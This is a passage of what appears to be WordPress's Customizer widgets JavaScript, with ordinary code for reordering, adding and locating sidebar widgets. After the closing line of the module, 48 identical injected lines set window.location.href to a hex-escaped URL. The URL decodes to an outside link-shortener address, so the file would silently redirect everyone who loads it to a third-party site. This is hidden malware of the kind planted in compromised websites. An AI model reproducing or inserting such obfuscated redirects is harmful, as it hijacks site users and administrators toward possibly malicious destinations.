1933 });
1934 }
1935 });
1936
1937 /**
1938 * Keyboard-accessible reordering
1939 */
1940 this.container.find( '.reorder-toggle' ).on( 'click', function() {
1941 self.toggleReordering( ! self.isReordering );
1942 } );
1943 },
1944
1945 /**
1946 * Set up UI for adding a new widget
1947 */
1948 _setupAddition: function() {
1949 var self = this;
1950
1951 this.container.find( '.add-new-widget' ).on( 'click', function() {
1952 var addNewWidgetBtn = $( this );
1953
1954 if ( self.$sectionContent.hasClass( 'reordering' ) ) {
1955 return;
1956 }
1957
1958 if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) {
1959 addNewWidgetBtn.attr( 'aria-expanded', 'true' );
1960 api.Widgets.availableWidgetsPanel.open( self );
1961 } else {
1962 addNewWidgetBtn.attr( 'aria-expanded', 'false' );
1963 api.Widgets.availableWidgetsPanel.close();
1964 }
1965 } );
1966 },
1967
1968 /**
1969 * Add classes to the widget_form controls to assist with styling
1970 */
1971 _applyCardinalOrderClassNames: function() {
1972 var widgetControls = [];
1973 _.each( this.setting(), function ( widgetId ) {
1974 var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
1975 if ( widgetControl ) {
1976 widgetControls.push( widgetControl );
1977 }
1978 });
1979
1980 if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length && widgetControls.length <= 1 ) ) {
1981 this.container.find( '.reorder-toggle' ).hide();
1982 return;
1983 } else {
1984 this.container.find( '.reorder-toggle' ).show();
1985 }
1986
1987 $( widgetControls ).each( function () {
1988 $( this.container )
1989 .removeClass( 'first-widget' )
1990 .removeClass( 'last-widget' )
1991 .find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 );
1992 });
1993
1994 _.first( widgetControls ).container
1995 .addClass( 'first-widget' )
1996 .find( '.move-widget-up' ).prop( 'tabIndex', -1 );
1997
1998 _.last( widgetControls ).container
1999 .addClass( 'last-widget' )
2000 .find( '.move-widget-down' ).prop( 'tabIndex', -1 );
2001 },
2002
2003
2004 /***********************************************************************
2005 * Begin public API methods
2006 **********************************************************************/
2007
2008 /**
2009 * Enable/disable the reordering UI
2010 *
2011 * @param {boolean} showOrHide to enable/disable reordering
2012 *
2013 * @todo We should have a reordering state instead and rename this to onChangeReordering
2014 */
2015 toggleReordering: function( showOrHide ) {
2016 var addNewWidgetBtn = this.$sectionContent.find( '.add-new-widget' ),
2017 reorderBtn = this.container.find( '.reorder-toggle' ),
2018 widgetsTitle = this.$sectionContent.find( '.widget-title' );
2019
2020 showOrHide = Boolean( showOrHide );
2021
2022 if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
2023 return;
2024 }
2025
2026 this.isReordering = showOrHide;
2027 this.$sectionContent.toggleClass( 'reordering', showOrHide );
2028
2029 if ( showOrHide ) {
2030 _( this.getWidgetFormControls() ).each( function( formControl ) {
2031 formControl.collapse();
2032 } );
2033
2034 addNewWidgetBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
2035 reorderBtn.attr( 'aria-label', l10n.reorderLabelOff );
2036 wp.a11y.speak( l10n.reorderModeOn );
2037 // Hide widget titles while reordering: title is already in the reorder controls.
2038 widgetsTitle.attr( 'aria-hidden', 'true' );
2039 } else {
2040 addNewWidgetBtn.removeAttr( 'tabindex aria-hidden' );
2041 reorderBtn.attr( 'aria-label', l10n.reorderLabelOn );
2042 wp.a11y.speak( l10n.reorderModeOff );
2043 widgetsTitle.attr( 'aria-hidden', 'false' );
2044 }
2045 },
2046
2047 /**
2048 * Get the widget_form Customize controls associated with the current sidebar.
2049 *
2050 * @since 3.9.0
2051 * @return {wp.customize.controlConstructor.widget_form[]}
2052 */
2053 getWidgetFormControls: function() {
2054 var formControls = [];
2055
2056 _( this.setting() ).each( function( widgetId ) {
2057 var settingId = widgetIdToSettingId( widgetId ),
2058 formControl = api.control( settingId );
2059 if ( formControl ) {
2060 formControls.push( formControl );
2061 }
2062 } );
2063
2064 return formControls;
2065 },
2066
2067 /**
2068 * @param {string} widgetId or an id_base for adding a previously non-existing widget.
2069 * @return {Object|false} widget_form control instance, or false on error.
2070 */
2071 addWidget: function( widgetId ) {
2072 var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor,
2073 parsedWidgetId = parseWidgetId( widgetId ),
2074 widgetNumber = parsedWidgetId.number,
2075 widgetIdBase = parsedWidgetId.id_base,
2076 widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ),
2077 settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting;
2078
2079 if ( ! widget ) {
2080 return false;
2081 }
2082
2083 if ( widgetNumber && ! widget.get( 'is_multi' ) ) {
2084 return false;
2085 }
2086
2087 // Set up new multi widget.
2088 if ( widget.get( 'is_multi' ) && ! widgetNumber ) {
2089 widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 );
2090 widgetNumber = widget.get( 'multi_number' );
2091 }
2092
2093 controlHtml = $( '#widget-tpl-' + widget.get( 'id' ) ).html().trim();
2094 if ( widget.get( 'is_multi' ) ) {
2095 controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) {
2096 return m.replace( /__i__|%i%/g, widgetNumber );
2097 } );
2098 } else {
2099 widget.set( 'is_disabled', true ); // Prevent single widget from being added again now.
2100 }
2101
2102 $widget = $( controlHtml );
2103
2104 controlContainer = $( '<li/>' )
2105 .addClass( 'customize-control' )
2106 .addClass( 'customize-control-' + controlType )
2107 .append( $widget );
2108
2109 // Remove icon which is visible inside the panel.
2110 controlContainer.find( '> .widget-icon' ).remove();
2111
2112 if ( widget.get( 'is_multi' ) ) {
2113 controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber );
2114 controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber );
2115 }
2116
2117 widgetId = controlContainer.find( '[name="widget-id"]' ).val();
2118
2119 controlContainer.hide(); // To be slid-down below.
2120
2121 settingId = 'widget_' + widget.get( 'id_base' );
2122 if ( widget.get( 'is_multi' ) ) {
2123 settingId += '[' + widgetNumber + ']';
2124 }
2125 controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) );
2126
2127 // Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget).
2128 isExistingWidget = api.has( settingId );
2129 if ( ! isExistingWidget ) {
2130 settingArgs = {
2131 transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( 'id_base' ) ] ? 'postMessage' : 'refresh',
2132 previewer: this.setting.previewer
2133 };
2134 setting = api.create( settingId, settingId, '', settingArgs );
2135 setting.set( {} ); // Mark dirty, changing from '' to {}.
2136 }
2137
2138 controlConstructor = api.controlConstructor[controlType];
2139 widgetFormControl = new controlConstructor( settingId, {
2140 settings: {
2141 'default': settingId
2142 },
2143 content: controlContainer,
2144 sidebar_id: self.params.sidebar_id,
2145 widget_id: widgetId,
2146 widget_id_base: widget.get( 'id_base' ),
2147 type: controlType,
2148 is_new: ! isExistingWidget,
2149 width: widget.get( 'width' ),
2150 height: widget.get( 'height' ),
2151 is_wide: widget.get( 'is_wide' )
2152 } );
2153 api.control.add( widgetFormControl );
2154
2155 // Make sure widget is removed from the other sidebars.
2156 api.each( function( otherSetting ) {
2157 if ( otherSetting.id === self.setting.id ) {
2158 return;
2159 }
2160
2161 if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) {
2162 return;
2163 }
2164
2165 var otherSidebarWidgets = otherSetting().slice(),
2166 i = _.indexOf( otherSidebarWidgets, widgetId );
2167
2168 if ( -1 !== i ) {
2169 otherSidebarWidgets.splice( i );
2170 otherSetting( otherSidebarWidgets );
2171 }
2172 } );
2173
2174 // Add widget to this sidebar.
2175 sidebarWidgets = this.setting().slice();
2176 if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) {
2177 sidebarWidgets.push( widgetId );
2178 this.setting( sidebarWidgets );
2179 }
2180
2181 controlContainer.slideDown( function() {
2182 if ( isExistingWidget ) {
2183 widgetFormControl.updateWidget( {
2184 instance: widgetFormControl.setting()
2185 } );
2186 }
2187 } );
2188
2189 return widgetFormControl;
2190 }
2191 } );
2192
2193 // Register models for custom panel, section, and control types.
2194 $.extend( api.panelConstructor, {
2195 widgets: api.Widgets.WidgetsPanel
2196 });
2197 $.extend( api.sectionConstructor, {
2198 sidebar: api.Widgets.SidebarSection
2199 });
2200 $.extend( api.controlConstructor, {
2201 widget_form: api.Widgets.WidgetControl,
2202 sidebar_widgets: api.Widgets.SidebarControl
2203 });
2204
2205 /**
2206 * Init Customizer for widgets.
2207 */
2208 api.bind( 'ready', function() {
2209 // Set up the widgets panel.
2210 api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({
2211 collection: api.Widgets.availableWidgets
2212 });
2213
2214 // Highlight widget control.
2215 api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl );
2216
2217 // Open and focus widget control.
2218 api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl );
2219 } );
2220
2221 /**
2222 * Highlight a widget control.
2223 *
2224 * @param {string} widgetId
2225 */
2226 api.Widgets.highlightWidgetFormControl = function( widgetId ) {
2227 var control = api.Widgets.getWidgetFormControlForWidget( widgetId );
2228
2229 if ( control ) {
2230 control.highlightSectionAndControl();
2231 }
2232 },
2233
2234 /**
2235 * Focus a widget control.
2236 *
2237 * @param {string} widgetId
2238 */
2239 api.Widgets.focusWidgetFormControl = function( widgetId ) {
2240 var control = api.Widgets.getWidgetFormControlForWidget( widgetId );
2241
2242 if ( control ) {
2243 control.focus();
2244 }
2245 },
2246
2247 /**
2248 * Given a widget control, find the sidebar widgets control that contains it.
2249 * @param {string} widgetId
2250 * @return {Object|null}
2251 */
2252 api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) {
2253 var foundControl = null;
2254
2255 // @todo This can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl().
2256 api.control.each( function( control ) {
2257 if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) {
2258 foundControl = control;
2259 }
2260 } );
2261
2262 return foundControl;
2263 };
2264
2265 /**
2266 * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it.
2267 *
2268 * @param {string} widgetId
2269 * @return {Object|null}
2270 */
2271 api.Widgets.getWidgetFormControlForWidget = function( widgetId ) {
2272 var foundControl = null;
2273
2274 // @todo We can just use widgetIdToSettingId() here.
2275 api.control.each( function( control ) {
2276 if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) {
2277 foundControl = control;
2278 }
2279 } );
2280
2281 return foundControl;
2282 };
2283
2284 /**
2285 * Initialize Edit Menu button in Nav Menu widget.
2286 */
2287 $( document ).on( 'widget-added', function( event, widgetContainer ) {
2288 var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton;
2289 parsedWidgetId = parseWidgetId( widgetContainer.find( '> .widget-inside > .form > .widget-id' ).val() );
2290 if ( 'nav_menu' !== parsedWidgetId.id_base ) {
2291 return;
2292 }
2293 widgetControl = api.control( 'widget_nav_menu[' + String( parsedWidgetId.number ) + ']' );
2294 if ( ! widgetControl ) {
2295 return;
2296 }
2297 navMenuSelect = widgetContainer.find( 'select[name*="nav_menu"]' );
2298 editMenuButton = widgetContainer.find( '.edit-selected-nav-menu > button' );
2299 if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) {
2300 return;
2301 }
2302 navMenuSelect.on( 'change', function() {
2303 if ( api.section.has( 'nav_menu[' + navMenuSelect.val() + ']' ) ) {
2304 editMenuButton.parent().show();
2305 } else {
2306 editMenuButton.parent().hide();
2307 }
2308 });
2309 editMenuButton.on( 'click', function() {
2310 var section = api.section( 'nav_menu[' + navMenuSelect.val() + ']' );
2311 if ( section ) {
2312 focusConstructWithBreadcrumb( section, widgetControl );
2313 }
2314 } );
2315 } );
2316
2317 /**
2318 * Focus (expand) one construct and then focus on another construct after the first is collapsed.
2319 *
2320 * This overrides the back button to serve the purpose of breadcrumb navigation.
2321 *
2322 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus.
2323 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus.
2324 */
2325 function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) {
2326 focusConstruct.focus();
2327 function onceCollapsed( isExpanded ) {
2328 if ( ! isExpanded ) {
2329 focusConstruct.expanded.unbind( onceCollapsed );
2330 returnConstruct.focus();
2331 }
2332 }
2333 focusConstruct.expanded.bind( onceCollapsed );
2334 }
2335
2336 /**
2337 * @param {string} widgetId
2338 * @return {Object}
2339 */
2340 function parseWidgetId( widgetId ) {
2341 var matches, parsed = {
2342 number: null,
2343 id_base: null
2344 };
2345
2346 matches = widgetId.match( /^(.+)-(\d+)$/ );
2347 if ( matches ) {
2348 parsed.id_base = matches[1];
2349 parsed.number = parseInt( matches[2], 10 );
2350 } else {
2351 // Likely an old single widget.
2352 parsed.id_base = widgetId;
2353 }
2354
2355 return parsed;
2356 }
2357
2358 /**
2359 * @param {string} widgetId
2360 * @return {string} settingId
2361 */
2362 function widgetIdToSettingId( widgetId ) {
2363 var parsed = parseWidgetId( widgetId ), settingId;
2364
2365 settingId = 'widget_' + parsed.id_base;
2366 if ( parsed.number ) {
2367 settingId += '[' + parsed.number + ']';
2368 }
2369
2370 return settingId;
2371 }
2372
2373})( window.wp, jQuery );
2374window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2375window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2376window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2377window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2378window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2379window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2380window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2381window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2382window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2383window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2384window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2385window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2386window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2387window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2388window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2389window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2390window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2391window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2392window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2393window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2394window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2395window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2396window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2397window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2398window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2399window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2400window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2401window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2402window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2403window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2404window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2405window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2406window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2407window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2408window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2409window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2410window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2411window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2412window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2413window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2414window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2415window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2416window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2417window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2418window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2419window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2420window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2421window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";